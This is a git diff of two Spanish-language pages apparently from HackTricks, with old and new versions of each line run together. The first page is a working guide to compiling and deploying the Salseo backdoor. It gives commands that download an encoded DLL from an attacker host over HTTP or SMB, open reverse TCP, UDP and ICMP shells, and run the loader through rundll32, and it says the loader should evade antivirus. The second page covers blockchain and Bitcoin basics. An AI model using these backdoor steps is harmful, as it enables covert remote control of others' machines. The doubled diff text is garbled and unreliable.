* **Comparte tus trucos de hacking enviando PRs a los repositorios de Github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>

View file

@ -6,11 +6,11 @@
Otras formas de apoyar a HackTricks: Otras formas de apoyar a HackTricks:
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos * Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details> </details>
@ -18,21 +18,21 @@ Otras formas de apoyar a HackTricks:
Descarga el código fuente desde github y compila **EvilSalsa** y **SalseoLoader**. Necesitarás tener **Visual Studio** instalado para compilar el código. Descarga el código fuente desde github y compila **EvilSalsa** y **SalseoLoader**. Necesitarás tener **Visual Studio** instalado para compilar el código.
Compila esos proyectos para la arquitectura de la caja de Windows donde los vas a usar (si Windows soporta x64, compílalos para esa arquitectura). Compila esos proyectos para la arquitectura de la máquina Windows donde los vas a utilizar (si Windows soporta x64, compílalos para esa arquitectura).
Puedes **seleccionar la arquitectura** dentro de Visual Studio en la pestaña **"Build"** a la izquierda, en **"Platform Target".** Puedes **seleccionar la arquitectura** dentro de Visual Studio en la pestaña **"Build"** en **"Platform Target".**
(**Si no encuentras estas opciones, presiona en la pestaña "Project"** y luego en **"\<Project Name> Properties"**) (\*\*Si no encuentras estas opciones, presiona en **"Project Tab"** y luego en **"\<Project Name> Properties"**)
![](<../.gitbook/assets/image (132).png>) ![](<../.gitbook/assets/image (132).png>)
Luego, construye ambos proyectos (Build -> Build Solution) (Dentro de los registros aparecerá la ruta del ejecutable): Luego, compila ambos proyectos (Build -> Build Solution) (Dentro de los registros aparecerá la ruta del ejecutable):
![](<../.gitbook/assets/image (1) (2) (1) (1) (1).png>) ![](<../.gitbook/assets/image (1) (2) (1) (1) (1).png>)
## Preparar el Backdoor ## Preparar el Backdoor
Primero que todo, necesitarás codificar **EvilSalsa.dll.** Para hacerlo, puedes usar el script de python **encrypterassembly.py** o puedes compilar el proyecto **EncrypterAssembly**: Primero que nada, necesitarás codificar el **EvilSalsa.dll.** Para hacerlo, puedes usar el script de python **encrypterassembly.py** o puedes compilar el proyecto **EncrypterAssembly**:
### **Python** ### **Python**
``` ```
@ -40,25 +40,29 @@ python EncrypterAssembly/encrypterassembly.py <FILE> <PASSWORD> <OUTPUT_FILE>
python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.dll.txt python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.dll.txt
``` ```
### Windows ### Windows
#### Salseo
Salseo is a backdoor that allows an attacker to execute commands on a compromised system. It is written in C# and uses the .NET framework. Salseo can be compiled into an executable or injected into a process. It provides features such as file management, process management, and command execution.
``` ```
EncrypterAssembly.exe <FILE> <PASSWORD> <OUTPUT_FILE> EncrypterAssembly.exe <FILE> <PASSWORD> <OUTPUT_FILE>
EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt
``` ```
Ok, ahora tienes todo lo que necesitas para ejecutar todo el asunto de Salseo: el **EvilDalsa.dll codificado** y el **binario de SalseoLoader.** Ahora tienes todo lo que necesitas para ejecutar todo el asunto de Salseo: el **EvilDalsa.dll codificado** y el **binario de SalseoLoader.**
**Sube el binario SalseoLoader.exe a la máquina. No deberían ser detectados por ningún AV...** **Sube el binario SalseoLoader.exe a la máquina. No deberían ser detectados por ningún AV...**
## **Ejecuta la puerta trasera** ## **Ejecutar la puerta trasera**
### **Obteniendo un shell TCP inverso (descargando la dll codificada a través de HTTP)** ### **Obteniendo una shell inversa TCP (descargando dll codificada a través de HTTP)**
Recuerda iniciar un nc como el oyente del shell inverso y un servidor HTTP para servir el evilsalsa codificado. Recuerda iniciar un nc como oyente de la shell inversa y un servidor HTTP para servir el EvilDalsa codificado.
``` ```
SalseoLoader.exe password http://<Attacker-IP>/evilsalsa.dll.txt reversetcp <Attacker-IP> <Port> SalseoLoader.exe password http://<Attacker-IP>/evilsalsa.dll.txt reversetcp <Attacker-IP> <Port>
``` ```
### **Obteniendo una reverse shell UDP (descargando dll codificada a través de SMB)** ### **Obteniendo una shell inversa UDP (descargando un dll codificado a través de SMB)**
Recuerda iniciar un nc como el oyente de la reverse shell, y un servidor SMB para servir el evilsalsa codificado (impacket-smbserver). Recuerda iniciar un nc como oyente de la shell inversa, y un servidor SMB para servir el evilsalsa codificado (impacket-smbserver).
``` ```
SalseoLoader.exe password \\<Attacker-IP>/folder/evilsalsa.dll.txt reverseudp <Attacker-IP> <Port> SalseoLoader.exe password \\<Attacker-IP>/folder/evilsalsa.dll.txt reverseudp <Attacker-IP> <Port>
``` ```
@ -77,33 +81,33 @@ sysctl -w net.ipv4.icmp_echo_ignore_all=0
``` ```
python icmpsh_m.py "<Attacker-IP>" "<Victm-IP>" python icmpsh_m.py "<Attacker-IP>" "<Victm-IP>"
``` ```
#### Dentro de la víctima, ejecutemos el asunto salseo: #### Dentro de la víctima, ejecutemos la cosa de salseo:
``` ```
SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp <Attacker-IP> SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp <Attacker-IP>
``` ```
## Compilando SalseoLoader como DLL exportando la función principal ## Compilando SalseoLoader como DLL exportando función principal
Abre el proyecto SalseoLoader usando Visual Studio. Abre el proyecto SalseoLoader usando Visual Studio.
### Añade antes de la función principal: \[DllExport] ### Agrega antes de la función principal: \[DllExport]
![](<../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) ![](<../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
### Instala DllExport para este proyecto ### Instala DllExport para este proyecto
#### **Herramientas** --> **Administrador de Paquetes NuGet** --> **Administrar Paquetes NuGet para la Solución...** #### **Herramientas** --> **Gestor de paquetes NuGet** --> **Administrar paquetes NuGet para la solución...**
![](<../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) ![](<../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
#### **Busca el paquete DllExport (usando la pestaña Examinar), y presiona Instalar (y acepta el popup)** #### **Busca el paquete DllExport (usando la pestaña Examinar), y presiona Instalar (y acepta el mensaje emergente)**
![](<../.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1) (1) (1).png>) ![](<../.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1) (1) (1).png>)
En la carpeta de tu proyecto han aparecido los archivos: **DllExport.bat** y **DllExport\_Configure.bat** En la carpeta de tu proyecto han aparecido los archivos: **DllExport.bat** y **DllExport\_Configure.bat**
### **Desinstala** DllExport ### **D**esinstala DllExport
Presiona **Desinstalar** (sí, es raro pero confía en mí, es necesario) Presiona **Desinstalar** (sí, es extraño pero confía en mí, es necesario)
![](<../.gitbook/assets/image (5) (1) (1) (2) (1).png>) ![](<../.gitbook/assets/image (5) (1) (1) (2) (1).png>)
@ -111,29 +115,29 @@ Presiona **Desinstalar** (sí, es raro pero confía en mí, es necesario)
Simplemente **sal** de Visual Studio Simplemente **sal** de Visual Studio
Luego, ve a tu **carpeta SalseoLoader** y **ejecuta DllExport\_Configure.bat** Luego, ve a tu **carpeta de SalseoLoader** y **ejecuta DllExport\_Configure.bat**
Selecciona **x64** (si vas a usarlo dentro de una caja x64, ese fue mi caso), selecciona **System.Runtime.InteropServices** (dentro de **Espacio de nombres para DllExport**) y presiona **Aplicar** Selecciona **x64** (si lo vas a usar dentro de una caja x64, ese fue mi caso), selecciona **System.Runtime.InteropServices** (dentro de **Espacio de nombres para DllExport**) y presiona **Aplicar**
![](<../.gitbook/assets/image (7) (1) (1) (1) (1).png>) ![](<../.gitbook/assets/image (7) (1) (1) (1) (1).png>)
### **Abre el proyecto de nuevo con Visual Studio** ### **Abre el proyecto nuevamente con Visual Studio**
**\[DllExport]** ya no debería estar marcado como error **\[DllExport]** ya no debería estar marcado como error
![](<../.gitbook/assets/image (8) (1).png>) ![](<../.gitbook/assets/image (8) (1).png>)
### Construye la solución ### Compila la solución
Selecciona **Tipo de Salida = Biblioteca de Clases** (Proyecto --> Propiedades de SalseoLoader --> Aplicación --> Tipo de salida = Biblioteca de Clases) Selecciona **Tipo de salida = Biblioteca de clases** (Proyecto --> Propiedades de SalseoLoader --> Aplicación --> Tipo de salida = Biblioteca de clases)
![](<../.gitbook/assets/image (10) (1).png>) ![](<../.gitbook/assets/image (10) (1).png>)
Selecciona **plataforma x64** (Proyecto --> Propiedades de SalseoLoader --> Compilar --> Objetivo de la plataforma = x64) Selecciona **plataforma x64** (Proyecto --> Propiedades de SalseoLoader --> Compilar --> Destino de la plataforma = x64)
![](<../.gitbook/assets/image (9) (1) (1).png>) ![](<../.gitbook/assets/image (9) (1) (1).png>)
Para **construir** la solución: Construir --> Construir Solución (Dentro de la consola de Salida aparecerá la ruta de la nueva DLL) Para **compilar** la solución: Compilar --> Compilar solución (Dentro de la consola de salida aparecerá la ruta de la nueva DLL)
### Prueba la Dll generada ### Prueba la Dll generada
@ -143,11 +147,11 @@ Ejecuta:
``` ```
rundll32.exe SalseoLoader.dll,main rundll32.exe SalseoLoader.dll,main
``` ```
Si no aparece ningún error, ¡probablemente tienes una DLL funcional! Si no aparece ningún error, ¡probablemente tienes un DLL funcional!
## Obtener una shell usando la DLL ## Obtén un shell usando el DLL
No olvides usar un **servidor HTTP** y configurar un **listener nc** No olvides usar un **servidor HTTP** y configurar un **escucha nc**
### Powershell ### Powershell
``` ```
@ -158,6 +162,8 @@ $env:lport="1337"
$env:shell="reversetcp" $env:shell="reversetcp"
rundll32.exe SalseoLoader.dll,main rundll32.exe SalseoLoader.dll,main
``` ```
### CMD
### CMD ### CMD
``` ```
set pass=password set pass=password
@ -173,10 +179,10 @@ rundll32.exe SalseoLoader.dll,main
Otras formas de apoyar a HackTricks: Otras formas de apoyar a HackTricks:
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos * Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details> </details>

View file

@ -1,63 +1,63 @@
<details> <details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Aprende a hackear AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks: Otras formas de apoyar a HackTricks:
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos * Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details> </details>
# Terminología Básica # Terminología Básica
* **Smart contract**: Los smart contracts son simplemente **programas almacenados en una blockchain que se ejecutan cuando se cumplen condiciones preestablecidas**. Típicamente se usan para automatizar la **ejecución** de un **acuerdo** de modo que todos los participantes puedan estar inmediatamente seguros del resultado, sin la intervención de intermediarios ni pérdida de tiempo. (De [aquí](https://www.ibm.com/topics/smart-contracts)). * **Contrato inteligente**: Los contratos inteligentes son simplemente **programas almacenados en una cadena de bloques que se ejecutan cuando se cumplen condiciones predeterminadas**. Normalmente se utilizan para automatizar la **ejecución** de un **acuerdo** para que todos los participantes puedan estar inmediatamente seguros del resultado, sin la intervención de intermediarios ni pérdida de tiempo. (De [aquí](https://www.ibm.com/topics/smart-contracts)).
* Básicamente, un smart contract es un **fragmento de código** que se ejecutará cuando las personas accedan y acepten el contrato. Los smart contracts **funcionan en blockchains** (por lo que los resultados se almacenan de forma inmutable) y pueden ser leídos por las personas antes de aceptarlos. * Básicamente, un contrato inteligente es un **fragmento de código** que se ejecutará cuando las personas accedan y acepten el contrato. Los contratos inteligentes **se ejecutan en cadenas de bloques** (por lo que los resultados se almacenan de forma inmutable) y pueden ser leídos por las personas antes de aceptarlos.
* **dApps**: Las **aplicaciones descentralizadas** se implementan sobre **smart contracts**. Usualmente tienen un front-end donde el usuario puede interactuar con la app, el **back-end** es público (por lo que puede ser auditado) y está implementado como un **smart contract**. A veces se necesita el uso de una base de datos, la blockchain de Ethereum asigna cierto almacenamiento a cada cuenta. * **dApps**: Las **aplicaciones descentralizadas** se implementan sobre **contratos** **inteligentes**. Normalmente tienen un front-end donde el usuario puede interactuar con la aplicación, el **back-end** es público (por lo que puede ser auditado) y se implementa como un **contrato inteligente**. A veces se necesita el uso de una base de datos, la cadena de bloques de Ethereum asigna cierto almacenamiento a cada cuenta.
* **Tokens & coins**: Una **coin** es una criptomoneda que actúa como **dinero digital** y un **token** es algo que **representa** algún **valor** pero no es una coin. * **Tokens y monedas**: Una **moneda** es una criptomoneda que actúa como **dinero digital** y un **token** es algo que **representa** algún **valor** pero no es una moneda.
* **Utility Tokens**: Estos tokens permiten al usuario **acceder a cierto servicio más adelante** (es algo que tiene valor en un entorno específico). * **Tokens de utilidad**: Estos tokens permiten al usuario **acceder a cierto servicio más adelante** (es algo que tiene algún valor en un entorno específico).
* **Security Tokens**: Estos representan la **propiedad** de algún activo. * **Tokens de seguridad**: Estos representan la **propiedad** o algún activo.
* **DeFi**: **Finanzas Descentralizadas**. * **DeFi**: **Finanzas Descentralizadas**.
* **DEX: Plataformas de Intercambio Descentralizadas**. * **DEX: Plataformas de Intercambio Descentralizado**.
* **DAOs**: **Organizaciones Autónomas Descentralizadas**. * **DAOs**: **Organizaciones Autónomas Descentralizadas**.
# Mecanismos de Consenso # Mecanismos de Consenso
Para que una transacción en blockchain sea reconocida, debe ser **añadida** a la **blockchain**. Los validadores (mineros) llevan a cabo este añadido; en la mayoría de los protocolos, **reciben una recompensa** por hacerlo. Para que la blockchain permanezca segura, debe tener un mecanismo para **prevenir que un usuario malicioso o grupo tome control de la mayoría de la validación**. Para que una transacción de cadena de bloques sea reconocida, debe ser **añadida** a la **cadena de bloques**. Los validadores (mineros) llevan a cabo esta adición; en la mayoría de los protocolos, **reciben una recompensa** por hacerlo. Para que la cadena de bloques permanezca segura, debe tener un mecanismo para **evitar que un usuario malintencionado o un grupo se apodere de la mayoría de la validación**.
Proof of work, otro mecanismo de consenso comúnmente utilizado, usa una validación de proeza computacional para verificar transacciones, requiriendo que un atacante potencial adquiera una gran fracción del poder computacional de la red de validadores. La Prueba de Trabajo, otro mecanismo de consenso comúnmente utilizado, utiliza una validación de destreza computacional para verificar transacciones, requiriendo que un posible atacante adquiera una gran fracción del poder computacional de la red de validadores.
## Proof Of Work (PoW) ## Prueba de Trabajo (PoW)
Esto utiliza una **validación de proeza computacional** para verificar transacciones, requiriendo que un atacante potencial adquiera una gran fracción del poder computacional de la red de validadores.\ Esto utiliza una **validación de destreza computacional** para verificar transacciones, requiriendo que un posible atacante adquiera una gran fracción del poder computacional de la red de validadores.\
Los **mineros** seleccionarán varias transacciones y luego comenzarán a **computar el Proof Of Work**. El **minero con mayores recursos computacionales** probablemente **terminará antes** el Proof of Work y obtendrá las tarifas de todas las transacciones. Los **mineros** **seleccionarán varias transacciones** y luego comenzarán a **calcular la Prueba de Trabajo**. El **minero con los mayores recursos computacionales** es más probable que **termine antes** la Prueba de Trabajo y obtenga las tarifas de todas las transacciones.
## Proof Of Stake (PoS) ## Prueba de Participación (PoS)
PoS logra esto al **requerir que los validadores posean cierta cantidad de tokens de la blockchain**, requiriendo que **los atacantes potenciales adquieran una gran fracción de los tokens** en la blockchain para lanzar un ataque.\ PoS logra esto al **requerir que los validadores tengan una cierta cantidad de tokens de cadena de bloques**, requiriendo que **los posibles atacantes adquieran una gran fracción de los tokens** en la cadena de bloques para lanzar un ataque.\
En este tipo de consenso, cuanto más tokens tenga un minero, más probable será que se le pida crear el siguiente bloque.\ En este tipo de consenso, cuantos más tokens tenga un minero, más probable será que se le pida al minero que cree el siguiente bloque.\
Comparado con PoW, esto reduce significativamente el **consumo de energía** que los mineros están gastando. En comparación con PoW, esto **reduce en gran medida el consumo de energía** que los mineros están gastando.
# Bitcoin # Bitcoin
## Transacciones ## Transacciones
Una **transacción** simple es un **movimiento de dinero** de una dirección a otra.\ Una **transacción** simple es un **movimiento de dinero** de una dirección a otra.\
Una **dirección** en bitcoin es el hash de la **clave pública**, por lo tanto, alguien para realizar una transacción desde una dirección necesita conocer la clave privada asociada a esa clave pública (la dirección).\ Una **dirección** en bitcoin es el hash de la **clave pública**, por lo tanto, para que alguien realice una transacción desde una dirección, necesita conocer la clave privada asociada a esa clave pública (la dirección).\
Entonces, cuando se realiza una **transacción**, se **firma** con la clave privada de la dirección para demostrar que la transacción es **legítima**. Entonces, cuando se realiza una **transacción**, se **firma** con la clave privada de la dirección para mostrar que la transacción es **legítima**.
La primera parte de la producción de una firma digital en Bitcoin puede representarse matemáticamente de la siguiente manera:\ La primera parte de la producción de una firma digital en Bitcoin se puede representar matemáticamente de la siguiente manera:\
_**Sig**_ = _**Fsig**_(_**Fhash**_(_**m**_),_**dA**_) _**Sig**_ = _**Fsig**_(_**Fhash**_(_**m**_),_**dA**_)
Donde: Donde:
* \_d\_A es la **clave privada** de firma * \_d\_A es la **clave privada** de firma
* _m_ es la **transacción** * _m_ es la **transacción**
* Fhash es la función de hashing * Fhash es la función de hash
* Fsig es el algoritmo de firma * Fsig es el algoritmo de firma
* Sig es la firma resultante * Sig es la firma resultante
@ -65,74 +65,74 @@ La función de firma (Fsig) produce una firma (Sig) que consta de dos valores: R
* Sig = (R, S) * Sig = (R, S)
Una vez que se han calculado R y S, se serializan en un flujo de bytes que se codifica utilizando un esquema de codificación estándar internacional conocido como Distinguished Encoding Rules (o DER). Para verificar que la firma es válida, se utiliza un algoritmo de verificación de firma. La verificación de una firma digital requiere lo siguiente: Una vez que se han calculado R y S, se serializan en un flujo de bytes que se codifica utilizando un esquema de codificación estándar internacional conocido como Reglas de Codificación Distinguidas (o DER). Para verificar que la firma es válida, se utiliza un algoritmo de verificación de firma. La verificación de una firma digital requiere lo siguiente:
* Firma (R y S) * Firma (R y S)
* Hash de la transacción * Hash de la transacción
* La clave pública que corresponde a la clave privada que se utilizó para crear la firma * La clave pública que corresponde a la clave privada que se utilizó para crear la firma
La verificación de una firma efectivamente significa que solo el propietario de la clave privada (que generó la clave pública) podría haber producido la firma en la transacción. El algoritmo de verificación de firma devolverá 'TRUE' si la firma es válida. La verificación de una firma efectivamente significa que solo el propietario de la clave privada (que generó la clave pública) podría haber producido la firma en la transacción. El algoritmo de verificación de firma devolverá 'VERDADERO' si la firma es realmente válida.
### Transacciones Multifirma ### Transacciones Multifirma
Una **dirección** multifirma es una dirección que está asociada con más de una clave privada ECDSA. El tipo más simple es una dirección m-de-n - está asociada con n claves privadas, y enviar bitcoins desde esta dirección requiere firmas de al menos m claves. Una **transacción** multifirma es una que envía fondos desde una dirección multifirma. Una **dirección multifirma** es una dirección asociada con más de una clave privada ECDSA. El tipo más simple es una dirección m-de-n: está asociada con n claves privadas, y enviar bitcoins desde esta dirección requiere firmas de al menos m claves. Una **transacción multifirma** es aquella que envía fondos desde una dirección multifirma.
### Campos de las Transacciones ### Campos de Transacciones
Cada transacción de bitcoin tiene varios campos: Cada transacción de bitcoin tiene varios campos:
* **Entradas**: La cantidad y dirección **desde** donde se **transfieren** los **bitcoins** * **Entradas**: La cantidad y la dirección **desde** donde se **están transfiriendo** los **bitcoins**
* **Salidas**: La dirección y cantidades que se **transfieren** a **cada** **salida** * **Salidas**: La dirección y las cantidades que se transfieren a **cada** **salida**
* **Comisión:** La cantidad de **dinero** que se **paga** al **minero** de la transacción * **Tarifa:** La cantidad de **dinero** que se **paga** al **minero** de la transacción
* **Script\_sig**: Firma del script de la transacción * **Script\_sig**: Firma de script de la transacción
* **Script\_type**: Tipo de transacción * **Script\_type**: Tipo de transacción
Hay **2 tipos principales** de transacciones: Hay **2 tipos principales** de transacciones:
* **P2PKH: "Pay To Public Key Hash"**: Así es como se realizan las transacciones. Se requiere que el **emisor** proporcione una **firma válida** (de la clave privada) y **clave pública**. El script de salida de la transacción usará la firma y la clave pública y mediante algunas funciones criptográficas comprobará **si coincide** con el hash de la clave pública, si es así, entonces los **fondos** serán **gastables**. Este método oculta tu clave pública en forma de hash para mayor seguridad. * **P2PKH: "Pagar a la Clave Pública Hash"**: Así es como se realizan las transacciones. Se requiere que el **remitente** proporcione una **firma** válida (de la clave privada) y **clave** **pública**. El script de salida de la transacción utilizará la firma y la clave pública y, a través de algunas funciones criptográficas, verificará **si coincide** con el hash de la clave pública, si lo hace, entonces los **fondos** serán **gastables**. Este método oculta tu clave pública en forma de hash para mayor seguridad.
* **P2SH: "Pay To Script Hash":** Las salidas de una transacción son solo **scripts** (esto significa que la persona que quiere este dinero envía un script) que, si se **ejecutan con parámetros específicos, resultarán en un booleano de `true` o `false`**. Si un minero ejecuta el script de salida con los parámetros suministrados y resulta en `true`, el **dinero será enviado a la salida deseada**. `P2SH` se utiliza para **billeteras multifirma** haciendo que los scripts de salida **lógica que verifica múltiples firmas antes de aceptar la transacción**. `P2SH` también puede usarse para permitir que cualquiera, o nadie, gaste los fondos. Si el script de salida de una transacción P2SH es solo `1` para verdadero, entonces intentar gastar la salida sin suministrar parámetros simplemente resultará en `1` haciendo que el dinero sea gastable por cualquiera que lo intente. Esto también se aplica a scripts que devuelven `0`, haciendo que la salida sea gastable por nadie. * **P2SH: "Pagar a Script Hash":** Las salidas de una transacción son simplemente **scripts** (esto significa que la persona que desea este dinero envía un script) que, si se **ejecutan con parámetros específicos, darán como resultado un booleano de `true` o `false`**. Si un minero ejecuta el script de salida con los parámetros suministrados y da como resultado `true`, el **dinero se enviará a la salida deseada**. `P2SH` se utiliza para **monederos multifirma** haciendo que los scripts de salida sean **lógica que verifica múltiples firmas antes de aceptar la transacción**. `P2SH` también se puede utilizar para permitir que cualquiera, o nadie, gaste los fondos. Si el script de salida de una transacción P2SH es simplemente `1` para verdadero, entonces intentar gastar la salida sin suministrar parámetros simplemente dará como resultado `1`, haciendo que el dinero sea gastable por cualquiera que lo intente. Esto también se aplica a los scripts que devuelven `0`, haciendo que la salida sea gastable por nadie.
## Lightning Network ## Red Lightning
Este protocolo ayuda a **realizar varias transacciones en un canal** y **solo enviar** el **estado final** a la blockchain para guardarlo.\ Este protocolo ayuda a **realizar varias transacciones a un canal** y **solo** **enviar** el **estado final** a la cadena de bloques para guardarlo.\
Esto **mejora** la **velocidad** de la blockchain de bitcoin (solo permite 7 pagos por segundo) y permite crear **transacciones más difíciles de rastrear** ya que el canal se crea a través de nodos de la blockchain de bitcoin: Esto **mejora** la **velocidad** de la cadena de bloques de bitcoin (solo permite 7 pagos por segundo) y permite crear **transacciones más difíciles de rastrear** ya que el canal se crea a través de nodos de la cadena de bloques de bitcoin:
![](<../../.gitbook/assets/image (611).png>) ![](<../../.gitbook/assets/image (611).png>)
El uso normal de la Lightning Network consiste en **abrir un canal de pago** comprometiendo una transacción de financiamiento a la blockchain base relevante (capa 1), seguido de realizar **cualquier número** de transacciones de Lightning Network que actualicen la distribución tentativa de los fondos del canal **sin transmitirlos a la blockchain**, opcionalmente seguido por cerrar el canal de pago **transmitiendo** la **versión final** de la transacción de liquidación para distribuir los fondos del canal. El uso normal de la Red Lightning consiste en **abrir un canal de pago** comprometiendo una transacción de financiación a la cadena de bloques base relevante (capa 1), seguido de realizar **cualquier número** de transacciones de la Red Lightning que actualizan la distribución tentativa de los fondos del canal **sin transmitirlas a la cadena de bloques**, seguido opcionalmente por cerrar el canal de pago al **transmitir** la **versión final** de la transacción de liquidación para distribuir los fondos del canal.
Nota que cualquiera de los dos miembros del canal puede detener y enviar el estado final del canal a la blockchain en cualquier momento. Cabe destacar que cualquiera de los dos miembros del canal puede detenerse y enviar el estado final del canal a la cadena de bloques en cualquier momento.
# Ataques a la Privacidad de Bitcoin # Ataques a la Privacidad de Bitcoin
## Entrada Común ## Entrada Común
Teóricamente las entradas de una transacción pueden pertenecer a diferentes usuarios, pero en realidad eso es inusual ya que requiere pasos adicionales. Por lo tanto, muy a menudo se puede asumir que **2 direcciones de entrada en la misma transacción pertenecen al mismo propietario**. Teóricamente, las entradas de una transacción pueden pertenecer a diferentes usuarios, pero en realidad eso es inusual ya que requiere pasos adicionales. Por lo tanto, muy a menudo se puede asumir que **2 direcciones de entrada en la misma transacción pertenecen al mismo propietario**.
## Detección de Dirección de Cambio UTXO ## Detección de Direcciones de Cambio UTXO
